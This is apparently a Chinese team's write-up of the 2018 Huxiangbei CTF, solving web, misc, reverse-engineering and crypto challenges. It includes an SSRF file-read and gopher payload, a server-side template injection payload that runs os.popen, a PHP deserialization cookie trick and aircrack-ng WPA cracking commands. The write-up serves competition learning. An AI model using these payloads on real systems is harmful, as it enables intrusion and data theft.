前言
首先,这次湖湘杯的web出的真的差,多种非预期,多种环境问题,题目多次上线下线,还没有实时的分数榜???因为这次逆向和pwn不强,我们应该是无缘决赛了==、有点难受。。。
Web
Welcome
签到题,进入公众号回复hxb2018即得。
flag: hxb2018{W3lc0me_T0_Hxb2o18} |
CodeCheck
首先,进入维护通知,发现这个
/news/list.php
进入/news
发现zip源码泄露,下载源码:
逻辑很简单,就是把加密的id取出来,然后解密,之后SQL查询,很明显的SQL注入,然后只是加了个加密。
根据解密函数,写个加密函数,之后把SQL语句加密提交就行了。
|
flag: hxb2018{7a2709e852f6ee9e6ead206d055cd38} |
Readflag
提示非常明显SSRF,首先SSRF+file协议读文件,我想知道web目录,于是读apache的配置文件:
http://47.107.238.167/?url=file:///etc/apache2/sites-available/000-default.conf
# The ServerName directive sets the request scheme, hostname and port that # the server uses to identify itself. This is used when creating # redirection URLs. In the context of virtual hosts, the ServerName # specifies what hostname must appear in the request's Host: header to # match this virtual host. For the default virtual host (this file) this # value is not decisive as it is used as a last resort host regardless. # However, you must set it for any further virtual host explicitly. #ServerName www.example.com ServerAdmin webmaster@localhost DocumentRoot /var/www/html/ssrf/web.php # Available loglevels: trace8, ..., trace1, debug, info, notice, warn, # error, crit, alert, emerg. # It is also possible to configure the loglevel for particular # modules, e.g. #LogLevel info ssl:warn ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined # For most configuration files from conf-available/, which are # enabled or disabled at a global level, it is possible to # include a line for only one particular virtual host. For example the # following line enables the CGI configuration for this host only # after it has been globally disabled with "a2disconf". #Include conf-available/serve-cgi-bin.conf # vim: syntax=apache ts=4 sw=4 sts=4 sr noet |
得到web目录
/var/www/html/ssrf/web.php
拿到源码:
|
分析逻辑,不难发现想要绕过这个判断执行程序,需要一个服务器本地代理,利用gopher协议可以做到:
paylaod:
/?url=gopher%3A%2F%2F127.0.0.1%3A80%2F_POST+%2F+HTTP%2F1.1%250d%250aHost%3A+127.0.0.1%250d%250aUser-Agent%3A+curl%2F7.43.0%250d%250aAccept%3A+%2A%2F%2A%250d%250aContent-Length%3A+10%250d%250aContent-Type%3A+application%2Fx-www-form-urlencoded%250d%250a%250d%250auser%3Dadmin |
事实上,本题存在非预期解,因为flag文件直接就在web目录下,所以可以直接通过file协议去读flag文件:
flag: hxb2018{0ef0c0d15f1a33b47af2a01669fbf124} |
MyNote
/robots.txt容易发现源码泄露
在/User.php中发现函数__destruct()
可能存在反序列化,又发现上传文件后,会多一个Cookie—Picture。
base64解一下,容易出来
a:1:{i:0;s:32:"F2006061314554700166_400x400.jpg";}
发现是原文件名的序列化。
将其改为想读取的文件:flag的序列化,BASE64加密得到
把原来的文件名改为flag.php
得到新的cookie,修改cookie得到flag
base64解码得到flag。
flag: hxb2018{445b40b69867325f6145eca1e77fc8e1} |
XmeO
注册登录然后add的内容能进行模板注入
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('ls').read()}} |
选项填否,然后点show得到回显
读auto.js
var url="http://127.0.0.1:9990/admin" |
在page.addCookie中看到了flag。
flag: hxb2018{29ffadfd3c22c8928f544c0b576e100f} |
Misc
Disk
挂载vmdk文件,得到四个txt文件,NTFS交换数据流隐写,拼接得到的二进制
01100110 01101100 01100001 01100111 01111011 00110100 01000100 01010011 01011111 00110001 01101110 01011111 01000100 00110001 01110011 01101011 01111101 |
flag: flag{4DS_1n_D1sk} |
flow
首先下载的是无线流量包,一般思路是解wifi密码,然后那这个做密钥来解流量报文。
利用kali的工具aircrack-ng,加上字典,容易破解得到密码password1
aircrack-ng ctf.pcap -w 33889.txt |
之后利用这个密码来解流量数据包,命令:
airdecap-ng.exe ctf.pcap -e ctf -p password1 |
之后wireshark分析得到的流量包:追踪一个http流,容易发现flag
flag: flag{H4lf_1s_3n0ugh} |
Hidden Write
搜索png的文件格式尾16进制49454E44AE
得到3个结果:
说明有三张png图片,分别提取出来,之后在一张稍大点的png中,发现LSB隐写。
得到一半flag
hxb2018{1e30f3b836d78d25c
双图或多图,容易想到盲水印攻击,于是利用脚本,发现成功
得到另一半flag
20b4a}
于是得到完整的flag
flag: hxb2018{1e30f3b836d78d25c20b4a} |
RE
Replace
IDA打开程序后几乎没什么东西,查壳发现常见的upx壳。
直接用upx脱壳机脱掉,提示有重定向,而且不能运行,但是不影响静态调试。放到IDA里查看。
逻辑不复杂,只有一个加密函数,sub_401090。
发现byte_402151[]和byte_402150[]指的是同一个字符串。在hexView里提取出来,前面两位0x32和0x61也要加上(根据后面长度判断)。
而这个byte_4021A0数组,通过IDA的findcrypt插件可以发现这其实是AES加密中的S盒,为了方便直接从AES加密里把这个数组拿出来即可。
最后按照处理过程编写脚本,基本就是照着逻辑照抄,爆破即可。
box = [0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, |
key = [50, 97, 52, 57, 102, 54, 57, 99, 51, 56, 51, 57, 53, 99, 100, 101, 57, 54, 100, 54, 100, 101, 57, 54, 100, 54, 102, 52, 101, 48, 50, 53, 52, 56, 52, 57, 53, 52, 100, 54, 49, 57, 53, 52, 52, 56, 100, 101, 102, 54, 101, 50, 100, 97, 100, 54, 55, 55, 56, 54, 101, 50, 49, 100, 53, 97, 100, 97, 101, 54] |
flag: flag{Th1s_1s_Simple_Rep1ac3_Enc0d3} |
Crypto
Common Crypto
拿到exe打开要求输入flag,随便输点东西回车程序就关了。于是直接扔到IDA里看。(截图中变量名有的经过自定义,为了方便看)
gets获取输入的flag,然后进入sub_140001000(&key);这个函数查看。
能够清晰的找到这里的key值,把它取出来
key = [0x1b, 0x2e, 0x35, 0x46, 0x58, 0x6e ,0x72, 0x86, 0x9b,0xa7,0xb5, |
下面的处理过程经过和AES加密的代码对比,应该是正常的加密过程。
再进入sub_1400012A0((unsigned __int8 *)&flag, (__int64)&key);
这个函数查看。基本上确定是常规的AES加密,代码过多不再贴图。
但是有个问题是key的长度是16,加密后做比较的字符串长度却太长了
按照原理,密钥长度是根据明文扩展的,而明文和密文应该是一样长,于是尝试把这段密文分成两半。分别尝试解密过程。幸运的是,前半段就成功了。
解出来一堆数字,再结合刚刚后半段的数字,猜测是十六进制转字符串。
自己添加个},尝试提交成功。
flag: hxb2018{aa8871759de6f35215205566} |
后记
累了,睡了,醒来学习二进制、、、